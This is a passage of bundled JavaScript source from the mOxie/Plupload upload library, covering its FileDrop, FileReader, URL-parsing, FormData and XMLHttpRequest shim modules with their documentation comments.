	@uses RuntimeClient
	@param {Object|String} options If options has typeof string, argument is considered as options.drop_zone
		@param {String|DOMElement} options.drop_zone DOM Element to turn into a drop zone
		@param {Array} [options.accept] Array of mime types to accept. By default accepts all
		@param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support
	*/
	var dispatches = [
		/**
		Dispatched when runtime is connected and drop zone is ready to accept files.

		@event ready
		@param {Object} event
		*/
		'ready', 

		/**
		Dispatched when dragging cursor enters the drop zone.

		@event dragenter
		@param {Object} event
		*/
		'dragenter',

		/**
		Dispatched when dragging cursor leaves the drop zone.

		@event dragleave
		@param {Object} event
		*/
		'dragleave', 

		/**
		Dispatched when file is dropped onto the drop zone.

		@event drop
		@param {Object} event
		*/
		'drop', 

		/**
		Dispatched if error occurs.

		@event error
		@param {Object} event
		*/
		'error'
	];

	function FileDrop(options) {
		if (MXI_DEBUG) {
			Env.log("Instantiating FileDrop...");	
		}

		var self = this, defaults;

		// if flat argument passed it should be drop_zone id
		if (typeof(options) === 'string') {
			options = { drop_zone : options };
		}

		// figure out the options
		defaults = {
			accept: [{
				title: I18n.translate('All Files'),
				extensions: '*'
			}],
			required_caps: {
				drag_and_drop: true
			}
		};
		
		options = typeof(options) === 'object' ? Basic.extend({}, defaults, options) : defaults;

		// this will help us to find proper default container
		options.container = Dom.get(options.drop_zone) || document.body;

		// make container relative, if it is not
		if (Dom.getStyle(options.container, 'position') === 'static') {
			options.container.style.position = 'relative';
		}
					
		// normalize accept option (could be list of mime types or array of title/extensions pairs)
		if (typeof(options.accept) === 'string') {
			options.accept = Mime.mimes2extList(options.accept);
		}

		RuntimeClient.call(self);

		Basic.extend(self, {
			uid: Basic.guid('uid_'),

			ruid: null,

			files: null,

			init: function() {		
				self.bind('RuntimeInit', function(e, runtime) {
					self.ruid = runtime.uid;
					runtime.exec.call(self, 'FileDrop', 'init', options);
					self.dispatchEvent('ready');
				});
							
				// runtime needs: options.required_features, options.runtime_order and options.container
				self.connectRuntime(options); // throws RuntimeError
			},

			destroy: function() {
				var runtime = this.getRuntime();
				if (runtime) {
					runtime.exec.call(this, 'FileDrop', 'destroy');
					this.disconnectRuntime();
				}
				this.files = null;
				
				this.unbindAll();
			}
		});

		this.handleEventProps(dispatches);
	}

	FileDrop.prototype = EventTarget.instance;

	return FileDrop;
});

// Included from: src/javascript/file/FileReader.js

/**
 * FileReader.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/FileReader', [
	'moxie/core/utils/Basic',
	'moxie/core/utils/Encode',
	'moxie/core/Exceptions',
	'moxie/core/EventTarget',
	'moxie/file/Blob',
	'moxie/runtime/RuntimeClient'
], function(Basic, Encode, x, EventTarget, Blob, RuntimeClient) {
	/**
	Utility for preloading o.Blob/o.File objects in memory. By design closely follows [W3C FileReader](http://www.w3.org/TR/FileAPI/#dfn-filereader)
	interface. Where possible uses native FileReader, where - not falls back to shims.

	@class FileReader
	@constructor FileReader
	@extends EventTarget
	@uses RuntimeClient
	*/
	var dispatches = [

		/** 
		Dispatched when the read starts.

		@event loadstart
		@param {Object} event
		*/
		'loadstart', 

		/** 
		Dispatched while reading (and decoding) blob, and reporting partial Blob data (progess.loaded/progress.total).

		@event progress
		@param {Object} event
		*/
		'progress', 

		/** 
		Dispatched when the read has successfully completed.

		@event load
		@param {Object} event
		*/
		'load', 

		/** 
		Dispatched when the read has been aborted. For instance, by invoking the abort() method.

		@event abort
		@param {Object} event
		*/
		'abort', 

		/** 
		Dispatched when the read has failed.

		@event error
		@param {Object} event
		*/
		'error', 

		/** 
		Dispatched when the request has completed (either in success or failure).

		@event loadend
		@param {Object} event
		*/
		'loadend'
	];
	
	function FileReader() {

		RuntimeClient.call(this);

		Basic.extend(this, {
			/**
			UID of the component instance.

			@property uid
			@type {String}
			*/
			uid: Basic.guid('uid_'),

			/**
			Contains current state of FileReader object. Can take values of FileReader.EMPTY, FileReader.LOADING
			and FileReader.DONE.

			@property readyState
			@type {Number}
			@default FileReader.EMPTY
			*/
			readyState: FileReader.EMPTY,
			
			/**
			Result of the successful read operation.

			@property result
			@type {String}
			*/
			result: null,
			
			/**
			Stores the error of failed asynchronous read operation.

			@property error
			@type {DOMError}
			*/
			error: null,
			
			/**
			Initiates reading of File/Blob object contents to binary string.

			@method readAsBinaryString
			@param {Blob|File} blob Object to preload
			*/
			readAsBinaryString: function(blob) {
				_read.call(this, 'readAsBinaryString', blob);
			},
			
			/**
			Initiates reading of File/Blob object contents to dataURL string.

			@method readAsDataURL
			@param {Blob|File} blob Object to preload
			*/
			readAsDataURL: function(blob) {
				_read.call(this, 'readAsDataURL', blob);
			},
			
			/**
			Initiates reading of File/Blob object contents to string.

			@method readAsText
			@param {Blob|File} blob Object to preload
			*/
			readAsText: function(blob) {
				_read.call(this, 'readAsText', blob);
			},
			
			/**
			Aborts preloading process.

			@method abort
			*/
			abort: function() {
				this.result = null;
				
				if (Basic.inArray(this.readyState, [FileReader.EMPTY, FileReader.DONE]) !== -1) {
					return;
				} else if (this.readyState === FileReader.LOADING) {
					this.readyState = FileReader.DONE;
				}

				this.exec('FileReader', 'abort');
				
				this.trigger('abort');
				this.trigger('loadend');
			},

			/**
			Destroy component and release resources.

			@method destroy
			*/
			destroy: function() {
				this.abort();
				this.exec('FileReader', 'destroy');
				this.disconnectRuntime();
				this.unbindAll();
			}
		});

		// uid must already be assigned
		this.handleEventProps(dispatches);

		this.bind('Error', function(e, err) {
			this.readyState = FileReader.DONE;
			this.error = err;
		}, 999);
		
		this.bind('Load', function(e) {
			this.readyState = FileReader.DONE;
		}, 999);

		
		function _read(op, blob) {
			var self = this;			

			this.trigger('loadstart');

			if (this.readyState === FileReader.LOADING) {
				this.trigger('error', new x.DOMException(x.DOMException.INVALID_STATE_ERR));
				this.trigger('loadend');
				return;
			}

			// if source is not o.Blob/o.File
			if (!(blob instanceof Blob)) {
				this.trigger('error', new x.DOMException(x.DOMException.NOT_FOUND_ERR));
				this.trigger('loadend');
				return;
			}

			this.result = null;
			this.readyState = FileReader.LOADING;
			
			if (blob.isDetached()) {
				var src = blob.getSource();
				switch (op) {
					case 'readAsText':
					case 'readAsBinaryString':
						this.result = src;
						break;
					case 'readAsDataURL':
						this.result = 'data:' + blob.type + ';base64,' + Encode.btoa(src);
						break;
				}
				this.readyState = FileReader.DONE;
				this.trigger('load');
				this.trigger('loadend');
			} else {
				this.connectRuntime(blob.ruid);
				this.exec('FileReader', 'read', op, blob);
			}
		}
	}
	
	/**
	Initial FileReader state

	@property EMPTY
	@type {Number}
	@final
	@static
	@default 0
	*/
	FileReader.EMPTY = 0;

	/**
	FileReader switches to this state when it is preloading the source

	@property LOADING
	@type {Number}
	@final
	@static
	@default 1
	*/
	FileReader.LOADING = 1;

	/**
	Preloading is complete, this is a final state

	@property DONE
	@type {Number}
	@final
	@static
	@default 2
	*/
	FileReader.DONE = 2;

	FileReader.prototype = EventTarget.instance;

	return FileReader;
});

// Included from: src/javascript/core/utils/Url.js

/**
 * Url.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/utils/Url', [], function() {
	/**
	Parse url into separate components and fill in absent parts with parts from current url,
	based on https://raw.github.com/kvz/phpjs/master/functions/url/parse_url.js

	@method parseUrl
	@for Utils
	@static
	@param {String} url Url to parse (defaults to empty string if undefined)
	@return {Object} Hash containing extracted uri components
	*/
	var parseUrl = function(url, currentUrl) {
		var key = ['source', 'scheme', 'authority', 'userInfo', 'user', 'pass', 'host', 'port', 'relative', 'path', 'directory', 'file', 'query', 'fragment']
		, i = key.length
		, ports = {
			http: 80,
			https: 443
		}
		, uri = {}
		, regex = /^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/
		, m = regex.exec(url || '')
		;
					
		while (i--) {
			if (m[i]) {
				uri[key[i]] = m[i];
			}
		}

		// when url is relative, we set the origin and the path ourselves
		if (!uri.scheme) {
			// come up with defaults
			if (!currentUrl || typeof(currentUrl) === 'string') {
				currentUrl = parseUrl(currentUrl || document.location.href);
			}

			uri.scheme = currentUrl.scheme;
			uri.host = currentUrl.host;
			uri.port = currentUrl.port;

			var path = '';
			// for urls without trailing slash we need to figure out the path
			if (/^[^\/]/.test(uri.path)) {
				path = currentUrl.path;
				// if path ends with a filename, strip it
				if (/\/[^\/]*\.[^\/]*$/.test(path)) {
					path = path.replace(/\/[^\/]+$/, '/');
				} else {
					// avoid double slash at the end (see #127)
					path = path.replace(/\/?$/, '/');
				}
			}
			uri.path = path + (uri.path || ''); // site may reside at domain.com or domain.com/subdir
		}

		if (!uri.port) {
			uri.port = ports[uri.scheme] || 80;
		} 
		
		uri.port = parseInt(uri.port, 10);

		if (!uri.path) {
			uri.path = "/";
		}

		delete uri.source;

		return uri;
	};

	/**
	Resolve url - among other things will turn relative url to absolute

	@method resolveUrl
	@static
	@param {String|Object} url Either absolute or relative, or a result of parseUrl call
	@return {String} Resolved, absolute url
	*/
	var resolveUrl = function(url) {
		var ports = { // we ignore default ports
			http: 80,
			https: 443
		}
		, urlp = typeof(url) === 'object' ? url : parseUrl(url);
		;

		return urlp.scheme + '://' + urlp.host + (urlp.port !== ports[urlp.scheme] ? ':' + urlp.port : '') + urlp.path + (urlp.query ? urlp.query : '');
	};

	/**
	Check if specified url has the same origin as the current document

	@method hasSameOrigin
	@param {String|Object} url
	@return {Boolean}
	*/
	var hasSameOrigin = function(url) {
		function origin(url) {
			return [url.scheme, url.host, url.port].join('/');
		}
			
		if (typeof url === 'string') {
			url = parseUrl(url);
		}	
		
		return origin(parseUrl()) === origin(url);
	};

	return {
		parseUrl: parseUrl,
		resolveUrl: resolveUrl,
		hasSameOrigin: hasSameOrigin
	};
});

// Included from: src/javascript/runtime/RuntimeTarget.js

/**
 * RuntimeTarget.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/runtime/RuntimeTarget', [
	'moxie/core/utils/Basic',
	'moxie/runtime/RuntimeClient',
	"moxie/core/EventTarget"
], function(Basic, RuntimeClient, EventTarget) {
	/**
	Instance of this class can be used as a target for the events dispatched by shims,
	when allowing them onto components is for either reason inappropriate

	@class RuntimeTarget
	@constructor
	@protected
	@extends EventTarget
	*/
	function RuntimeTarget() {
		this.uid = Basic.guid('uid_');
		
		RuntimeClient.call(this);

		this.destroy = function() {
			this.disconnectRuntime();
			this.unbindAll();
		};
	}

	RuntimeTarget.prototype = EventTarget.instance;

	return RuntimeTarget;
});

// Included from: src/javascript/file/FileReaderSync.js

/**
 * FileReaderSync.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/FileReaderSync', [
	'moxie/core/utils/Basic',
	'moxie/runtime/RuntimeClient',
	'moxie/core/utils/Encode'
], function(Basic, RuntimeClient, Encode) {
	/**
	Synchronous FileReader implementation. Something like this is available in WebWorkers environment, here
	it can be used to read only preloaded blobs/files and only below certain size (not yet sure what that'd be,
	but probably < 1mb). Not meant to be used directly by user.

	@class FileReaderSync
	@private
	@constructor
	*/
	return function() {
		RuntimeClient.call(this);

		Basic.extend(this, {
			uid: Basic.guid('uid_'),

			readAsBinaryString: function(blob) {
				return _read.call(this, 'readAsBinaryString', blob);
			},
			
			readAsDataURL: function(blob) {
				return _read.call(this, 'readAsDataURL', blob);
			},
			
			/*readAsArrayBuffer: function(blob) {
				return _read.call(this, 'readAsArrayBuffer', blob);
			},*/
			
			readAsText: function(blob) {
				return _read.call(this, 'readAsText', blob);
			}
		});

		function _read(op, blob) {
			if (blob.isDetached()) {
				var src = blob.getSource();
				switch (op) {
					case 'readAsBinaryString':
						return src;
					case 'readAsDataURL':
						return 'data:' + blob.type + ';base64,' + Encode.btoa(src);
					case 'readAsText':
						var txt = '';
						for (var i = 0, length = src.length; i < length; i++) {
							txt += String.fromCharCode(src[i]);
						}
						return txt;
				}
			} else {
				var result = this.connectRuntime(blob.ruid).exec.call(this, 'FileReaderSync', 'read', op, blob);
				this.disconnectRuntime();
				return result;
			}
		}
	};
});

// Included from: src/javascript/xhr/FormData.js

/**
 * FormData.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/xhr/FormData", [
	"moxie/core/Exceptions",
	"moxie/core/utils/Basic",
	"moxie/file/Blob"
], function(x, Basic, Blob) {
	/**
	FormData

	@class FormData
	@constructor
	*/
	function FormData() {
		var _blob, _fields = [];

		Basic.extend(this, {
			/**
			Append another key-value pair to the FormData object

			@method append
			@param {String} name Name for the new field
			@param {String|Blob|Array|Object} value Value for the field
			*/
			append: function(name, value) {
				var self = this, valueType = Basic.typeOf(value);

				// according to specs value might be either Blob or String
				if (value instanceof Blob) {
					_blob = {
						name: name,
						value: value // unfortunately we can only send single Blob in one FormData
					};
				} else if ('array' === valueType) {
					name += '[]';

					Basic.each(value, function(value) {
						self.append(name, value);
					});
				} else if ('object' === valueType) {
					Basic.each(value, function(value, key) {
						self.append(name + '[' + key + ']', value);
					});
				} else if ('null' === valueType || 'undefined' === valueType || 'number' === valueType && isNaN(value)) {
					self.append(name, "false");
				} else {
					_fields.push({
						name: name,
						value: value.toString()
					});
				}
			},

			/**
			Checks if FormData contains Blob.

			@method hasBlob
			@return {Boolean}
			*/
			hasBlob: function() {
				return !!this.getBlob();
			},

			/**
			Retrieves blob.

			@method getBlob
			@return {Object} Either Blob if found or null
			*/
			getBlob: function() {
				return _blob && _blob.value || null;
			},

			/**
			Retrieves blob field name.

			@method getBlobName
			@return {String} Either Blob field name or null
			*/
			getBlobName: function() {
				return _blob && _blob.name || null;
			},

			/**
			Loop over the fields in FormData and invoke the callback for each of them.

			@method each
			@param {Function} cb Callback to call for each field
			*/
			each: function(cb) {
				Basic.each(_fields, function(field) {
					cb(field.value, field.name);
				});

				if (_blob) {
					cb(_blob.value, _blob.name);
				}
			},

			destroy: function() {
				_blob = null;
				_fields = [];
			}
		});
	}

	return FormData;
});

// Included from: src/javascript/xhr/XMLHttpRequest.js

/**
 * XMLHttpRequest.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/xhr/XMLHttpRequest", [
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/core/EventTarget",
	"moxie/core/utils/Encode",
	"moxie/core/utils/Url",
	"moxie/runtime/Runtime",
	"moxie/runtime/RuntimeTarget",
	"moxie/file/Blob",
	"moxie/file/FileReaderSync",
	"moxie/xhr/FormData",
	"moxie/core/utils/Env",
	"moxie/core/utils/Mime"
], function(Basic, x, EventTarget, Encode, Url, Runtime, RuntimeTarget, Blob, FileReaderSync, FormData, Env, Mime) {

	var httpCode = {
		100: 'Continue',
		101: 'Switching Protocols',
		102: 'Processing',

		200: 'OK',
		201: 'Created',
		202: 'Accepted',
		203: 'Non-Authoritative Information',
		204: 'No Content',
		205: 'Reset Content',
		206: 'Partial Content',
		207: 'Multi-Status',
		226: 'IM Used',

		300: 'Multiple Choices',
		301: 'Moved Permanently',
		302: 'Found',
		303: 'See Other',
		304: 'Not Modified',
		305: 'Use Proxy',
		306: 'Reserved',
		307: 'Temporary Redirect',

		400: 'Bad Request',
		401: 'Unauthorized',
		402: 'Payment Required',
		403: 'Forbidden',
		404: 'Not Found',
		405: 'Method Not Allowed',
		406: 'Not Acceptable',
		407: 'Proxy Authentication Required',
		408: 'Request Timeout',
		409: 'Conflict',
		410: 'Gone',
		411: 'Length Required',
		412: 'Precondition Failed',
		413: 'Request Entity Too Large',
		414: 'Request-URI Too Long',
		415: 'Unsupported Media Type',
		416: 'Requested Range Not Satisfiable',
		417: 'Expectation Failed',
		422: 'Unprocessable Entity',
		423: 'Locked',
		424: 'Failed Dependency',
		426: 'Upgrade Required',

		500: 'Internal Server Error',
		501: 'Not Implemented',
		502: 'Bad Gateway',
		503: 'Service Unavailable',
		504: 'Gateway Timeout',
		505: 'HTTP Version Not Supported',
		506: 'Variant Also Negotiates',
		507: 'Insufficient Storage',
		510: 'Not Extended'
	};

	function XMLHttpRequestUpload() {
		this.uid = Basic.guid('uid_');
	}
	
	XMLHttpRequestUpload.prototype = EventTarget.instance;

	/**
	Implementation of XMLHttpRequest

	@class XMLHttpRequest
	@constructor
	@uses RuntimeClient
	@extends EventTarget
	*/
	var dispatches = [
		'loadstart',

		'progress',

		'abort',

		'error',

		'load',

		'timeout',

		'loadend'

		// readystatechange (for historical reasons)
	]; 
	
	var NATIVE = 1, RUNTIME = 2;
					
	function XMLHttpRequest() {
		var self = this,
			// this (together with _p() @see below) is here to gracefully upgrade to setter/getter syntax where possible
			props = {
				/**
				The amount of milliseconds a request can take before being terminated. Initially zero. Zero means there is no timeout.

				@property timeout
				@type Number
				@default 0
				*/
				timeout: 0,

				/**
				Current state, can take following values:
				UNSENT (numeric value 0)
				The object has been constructed.

				OPENED (numeric value 1)
				The open() method has been successfully invoked. During this state request headers can be set using setRequestHeader() and the request can be made using the send() method.

				HEADERS_RECEIVED (numeric value 2)
				All redirects (if any) have been followed and all HTTP headers of the final response have been received. Several response members of the object are now available.

				LOADING (numeric value 3)
				The response entity body is being received.

				DONE (numeric value 4)

				@property readyState
				@type Number
				@default 0 (UNSENT)
				*/
				readyState: XMLHttpRequest.UNSENT,

				/**
				True when user credentials are to be included in a cross-origin request. False when they are to be excluded
				in a cross-origin request and when cookies are to be ignored in its response. Initially false.

				@property withCredentials
				@type Boolean
				@default false
				*/
				withCredentials: false,

				/**
				Returns the HTTP status code.

				@property status
				@type Number
				@default 0
				*/
				status: 0,

				/**
				Returns the HTTP status text.

				@property statusText
				@type String
				*/
				statusText: "",

				/**
				Returns the response type. Can be set to change the response type. Values are:
				the empty string (default), "arraybuffer", "blob", "document", "json", and "text".
				
				@property responseType
				@type String
				*/
				responseType: "",

				/**
				Returns the document response entity body.
				
				Throws an "InvalidStateError" exception if responseType is not the empty string or "document".

				@property responseXML
				@type Document
				*/
				responseXML: null,

				/**
				Returns the text response entity body.
				
				Throws an "InvalidStateError" exception if responseType is not the empty string or "text".

				@property responseText
				@type String
				*/
				responseText: null,

				/**
				Returns the response entity body (http://www.w3.org/TR/XMLHttpRequest/#response-entity-body).
				Can become: ArrayBuffer, Blob, Document, JSON, Text
				
				@property response
				@type Mixed
				*/
				response: null
			},

			_async = true,
			_url,
			_method,
			_headers = {},
			_user,
			_password,
			_encoding = null,
			_mimeType = null,

			// flags
			_sync_flag = false,
			_send_flag = false,
			_upload_events_flag = false,
			_upload_complete_flag = false,
			_error_flag = false,
			_same_origin_flag = false,

			// times
			_start_time,
			_timeoutset_time,

			_finalMime = null,
			_finalCharset = null,

			_options = {},
			_xhr,
			_responseHeaders = '',
			_responseHeadersBag
			;

		
		Basic.extend(this, props, {
			/**
			Unique id of the component

			@property uid
			@type String
			*/
			uid: Basic.guid('uid_'),
			
			/**
			Target for Upload events

			@property upload
			@type XMLHttpRequestUpload
			*/
			upload: new XMLHttpRequestUpload(),
			

			/**
			Sets the request method, request URL, synchronous flag, request username, and request password.

			Throws a "SyntaxError" exception if one of the following is true:

			method is not a valid HTTP method.
			url cannot be resolved.
			url contains the "user:password" format in the userinfo production.
			Throws a "SecurityError" exception if method is a case-insensitive match for CONNECT, TRACE or TRACK.

			Throws an "InvalidAccessError" exception if one of the following is true:

			Either user or password is passed as argument and the origin of url does not match the XMLHttpRequest origin.
			There is an associated XMLHttpRequest document and either the timeout attribute is not zero,
			the withCredentials attribute is true, or the responseType attribute is not the empty string.


			@method open
			@param {String} method HTTP method to use on request
			@param {String} url URL to request
			@param {Boolean} [async=true] If false request will be done in synchronous manner. Asynchronous by default.
			@param {String} [user] Username to use in HTTP authentication process on server-side
			@param {String} [password] Password to use in HTTP authentication process on server-side
			*/
			open: function(method, url, async, user, password) {
				var urlp;
				
				// first two arguments are required
				if (!method || !url) {
					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
				}
				
				// 2 - check if any code point in method is higher than U+00FF or after deflating method it does not match the method
				if (/[\u0100-\uffff]/.test(method) || Encode.utf8_encode(method) !== method) {
					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
				}

				// 3
				if (!!~Basic.inArray(method.toUpperCase(), ['CONNECT', 'DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT', 'TRACE', 'TRACK'])) {
					_method = method.toUpperCase();
				}
				
				
				// 4 - allowing these methods poses a security risk
				if (!!~Basic.inArray(_method, ['CONNECT', 'TRACE', 'TRACK'])) {
					throw new x.DOMException(x.DOMException.SECURITY_ERR);
				}

				// 5
				url = Encode.utf8_encode(url);
				
				// 6 - Resolve url relative to the XMLHttpRequest base URL. If the algorithm returns an error, throw a "SyntaxError".
				urlp = Url.parseUrl(url);

				_same_origin_flag = Url.hasSameOrigin(urlp);
																
				// 7 - manually build up absolute url
				_url = Url.resolveUrl(url);
		
				// 9-10, 12-13
				if ((user || password) && !_same_origin_flag) {
					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
				}

				_user = user || urlp.user;
				_password = password || urlp.pass;
				
				// 11
				_async = async || true;
				
				if (_async === false && (_p('timeout') || _p('withCredentials') || _p('responseType') !== "")) {
					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
				}
				
				// 14 - terminate abort()
				
				// 15 - terminate send()

				// 18
				_sync_flag = !_async;
				_send_flag = false;
				_headers = {};
				_reset.call(this);

				// 19
				_p('readyState', XMLHttpRequest.OPENED);
				
				// 20
				this.dispatchEvent('readystatechange');
			},
			
			/**
			Appends an header to the list of author request headers, or if header is already
			in the list of author request headers, combines its value with value.

			Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.
			Throws a "SyntaxError" exception if header is not a valid HTTP header field name or if value
			is not a valid HTTP header field value.
			
			@method setRequestHeader
			@param {String} header
			@param {String|Number} value
			*/
			setRequestHeader: function(header, value) {
				var uaHeaders = [ // these headers are controlled by the user agent
						"accept-charset",
						"accept-encoding",
						"access-control-request-headers",
						"access-control-request-method",
						"connection",
						"content-length",
						"cookie",
						"cookie2",
						"content-transfer-encoding",
						"date",
						"expect",
						"host",
						"keep-alive",
						"origin",
						"referer",
						"te",
						"trailer",
						"transfer-encoding",
						"upgrade",
						"user-agent",
						"via"
					];
				
				// 1-2
				if (_p('readyState') !== XMLHttpRequest.OPENED || _send_flag) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 3
				if (/[\u0100-\uffff]/.test(header) || Encode.utf8_encode(header) !== header) {
					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
				}

				// 4
				/* this step is seemingly bypassed in browsers, probably to allow various unicode characters in header values
				if (/[\u0100-\uffff]/.test(value) || Encode.utf8_encode(value) !== value) {
					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
				}*/

				header = Basic.trim(header).toLowerCase();
				
				// setting of proxy-* and sec-* headers is prohibited by spec
				if (!!~Basic.inArray(header, uaHeaders) || /^(proxy\-|sec\-)/.test(header)) {
					return false;
				}

				// camelize
				// browsers lowercase header names (at least for custom ones)
				// header = header.replace(/\b\w/g, function($1) { return $1.toUpperCase(); });
				
				if (!_headers[header]) {
					_headers[header] = value;
				} else {
					// http://tools.ietf.org/html/rfc2616#section-4.2 (last paragraph)
					_headers[header] += ', ' + value;
				}
				return true;
			},

			/**
			Returns all headers from the response, with the exception of those whose field name is Set-Cookie or Set-Cookie2.

			@method getAllResponseHeaders
			@return {String} reponse headers or empty string
			*/
			getAllResponseHeaders: function() {
				return _responseHeaders || '';
			},

			/**
			Returns the header field value from the response of which the field name matches header, 
			unless the field name is Set-Cookie or Set-Cookie2.

			@method getResponseHeader
			@param {String} header
			@return {String} value(s) for the specified header or null
			*/
			getResponseHeader: function(header) {
				header = header.toLowerCase();

				if (_error_flag || !!~Basic.inArray(header, ['set-cookie', 'set-cookie2'])) {
					return null;
				}

				if (_responseHeaders && _responseHeaders !== '') {
					// if we didn't parse response headers until now, do it and keep for later
					if (!_responseHeadersBag) {
						_responseHeadersBag = {};
						Basic.each(_responseHeaders.split(/\r\n/), function(line) {
							var pair = line.split(/:\s+/);
							if (pair.length === 2) { // last line might be empty, omit
								pair[0] = Basic.trim(pair[0]); // just in case
								_responseHeadersBag[pair[0].toLowerCase()] = { // simply to retain header name in original form
									header: pair[0],
									value: Basic.trim(pair[1])
								};
							}
						});
					}
					if (_responseHeadersBag.hasOwnProperty(header)) {
						return _responseHeadersBag[header].header + ': ' + _responseHeadersBag[header].value;
					}
				}
				return null;
			},
			
			/**
			Sets the Content-Type header for the response to mime.
			Throws an "InvalidStateError" exception if the state is LOADING or DONE.
			Throws a "SyntaxError" exception if mime is not a valid media type.

			@method overrideMimeType
			@param String mime Mime type to set
			*/
			overrideMimeType: function(mime) {
				var matches, charset;
			
				// 1
				if (!!~Basic.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

				// 2
				mime = Basic.trim(mime.toLowerCase());

				if (/;/.test(mime) && (matches = mime.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))) {
					mime = matches[1];
					if (matches[2]) {
						charset = matches[2];
					}
				}

				if (!Mime.mimes[mime]) {
					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
				}

				// 3-4
				_finalMime = mime;
				_finalCharset = charset;
			},
			
			/**
			Initiates the request. The optional argument provides the request entity body.
			The argument is ignored if request method is GET or HEAD.

			Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.

			@method send
			@param {Blob|Document|String|FormData} [data] Request entity body
			@param {Object} [options] Set of requirements and pre-requisities for runtime initialization
			*/
			send: function(data, options) {					
				if (Basic.typeOf(options) === 'string') {
					_options = { ruid: options };
				} else if (!options) {
					_options = {};
				} else {
					_options = options;
				}
															
				// 1-2
				if (this.readyState !== XMLHttpRequest.OPENED || _send_flag) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}
				
				// 3					
				// sending Blob
				if (data instanceof Blob) {
					_options.ruid = data.ruid;
					_mimeType = data.type || 'application/octet-stream';
				}
				
				// FormData
				else if (data instanceof FormData) {
					if (data.hasBlob()) {
						var blob = data.getBlob();
						_options.ruid = blob.ruid;
						_mimeType = blob.type || 'application/octet-stream';
					}
				}
				
				// DOMString
				else if (typeof data === 'string') {
					_encoding = 'UTF-8';
					_mimeType = 'text/plain;charset=UTF-8';
					
					// data should be converted to Unicode and encoded as UTF-8
					data = Encode.utf8_encode(data);
				}

				// if withCredentials not set, but requested, set it automatically
				if (!this.withCredentials) {
					this.withCredentials = (_options.required_caps && _options.required_caps.send_browser_cookies) && !_same_origin_flag;
				}

				// 4 - storage mutex
				// 5
				_upload_events_flag = (!_sync_flag && this.upload.hasEventListener()); // DSAP
				// 6
				_error_flag = false;
				// 7
				_upload_complete_flag = !data;
				// 8 - Asynchronous steps
				if (!_sync_flag) {
					// 8.1
					_send_flag = true;
					// 8.2
					// this.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr
					// 8.3
					//if (!_upload_complete_flag) {
						// this.upload.dispatchEvent('loadstart');	// will be dispatched either by native or runtime xhr
					//}
				}
				// 8.5 - Return the send() method call, but continue running the steps in this algorithm.
				_doXHR.call(this, data);
			},
			
			/**
			Cancels any network activity.
			
			@method abort
			*/
			abort: function() {
				_error_flag = true;
				_sync_flag = false;

				if (!~Basic.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED, XMLHttpRequest.DONE])) {
					_p('readyState', XMLHttpRequest.DONE);
					_send_flag = false;

					if (_xhr) {
						_xhr.getRuntime().exec.call(_xhr, 'XMLHttpRequest', 'abort', _upload_complete_flag);
					} else {
						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
					}

					_upload_complete_flag = true;
				} else {
					_p('readyState', XMLHttpRequest.UNSENT);
				}
			},

			destroy: function() {
				if (_xhr) {
					if (Basic.typeOf(_xhr.destroy) === 'function') {
						_xhr.destroy();
					}
					_xhr = null;
				}

				this.unbindAll();

				if (this.upload) {
					this.upload.unbindAll();
					this.upload = null;
				}
			}
		});

		this.handleEventProps(dispatches.concat(['readystatechange'])); // for historical reasons
		this.upload.handleEventProps(dispatches);

		/* this is nice, but maybe too lengthy

		// if supported by JS version, set getters/setters for specific properties
		o.defineProperty(this, 'readyState', {
			configurable: false,

			get: function() {
				return _p('readyState');
			}
		});

		o.defineProperty(this, 'timeout', {
			configurable: false,

			get: function() {
				return _p('timeout');
			},

			set: function(value) {

				if (_sync_flag) {
					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
				}

				// timeout still should be measured relative to the start time of request
				_timeoutset_time = (new Date).getTime();

				_p('timeout', value);
			}
		});

		// the withCredentials attribute has no effect when fetching same-origin resources
		o.defineProperty(this, 'withCredentials', {
			configurable: false,

			get: function() {
				return _p('withCredentials');
			},

			set: function(value) {
				// 1-2
				if (!~o.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED]) || _send_flag) {
					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
				}

